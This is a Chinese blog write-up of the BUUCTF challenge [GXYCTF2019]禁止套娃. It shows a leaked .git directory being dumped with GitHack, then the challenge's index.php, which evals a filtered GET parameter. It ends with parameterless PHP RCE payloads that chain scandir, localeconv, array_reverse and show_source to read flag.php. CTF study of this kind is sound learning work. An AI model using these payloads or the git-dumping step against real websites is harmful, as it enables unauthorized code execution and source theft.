码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • buuctf-[GXYCTF2019]禁止套娃 git泄露,无参数rce


    用dirsearch扫一下,看到flag.php

     访问一下没啥东西,使用githack

    python2 GitHack.py http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn/.git/
    

    查看index.php

    1. include "flag.php";
    2. echo "flag在哪里呢?
      "
      ;
    3. if(isset($_GET['exp'])){
    4. if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) //限制了php伪协议
    5. {
    6. if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) //这就是匹配任意字母到_然后+(?R)? ,后面这个?R是引用当前表达式,形成递归调用,然后继续来匹配。
    7. {
    8. if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    9. // echo $_GET['exp'];
    10. @eval($_GET['exp']);
    11. }
    12. else{
    13. die("还差一点哦!");
    14. }
    15. }
    16. else{
    17. die("再好好想想!");
    18. }
    19. }
    20. else{
    21. die("还想读flag,臭弟弟!");
    22. }
    23. }
    24. // highlight_file(__FILE__);
    25. ?>
    if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

    (?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子,get也过滤了。

    无参数rce上次做ctfshow web40的时候刚碰到过

    可以参考https://www.cnblogs.com/NPFS/p/13778333.html

    ctfshow 命令执行(40-50)-CSDN博客

    基本一样,用上面的命令就可以

    获取当前文件目录

    ?exp=print_r(scandir(current(localeconv())));

     用array_reverse把数组倒置,再用next默认返回第一个元素

    next()函数讲内部指针指向数组中的下一个元素,并输出

    ?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

    high_light或者show_source输出

    ?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

     

  • 相关阅读:
    Ubuntu 22更新kernel导致nvidia-smi报错解决方案
    ECharts与Excel的结合实战
    Echarts折线图隐藏markPoint只显示最大值和最小值的文本,且只在该两点显示symbol
    LabVIEW开发FPGA的高速并行视觉检测系统
    SpringMVC 写个 HelloWorld
    【函数指针】
    【Java面试】Kafka 怎么避免重复消费
    【JVM技术专题】JDK/JVM的新储君—GraalVM和Quarkus
    C/C++总结笔记——关键字3:malloc/free、new/delete、malloc&new区别、内存泄漏
    steam搬砖项目2023年现状分析,到底还能不能做?
  • 原文地址:https://blog.csdn.net/2202_75317918/article/details/133578393
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号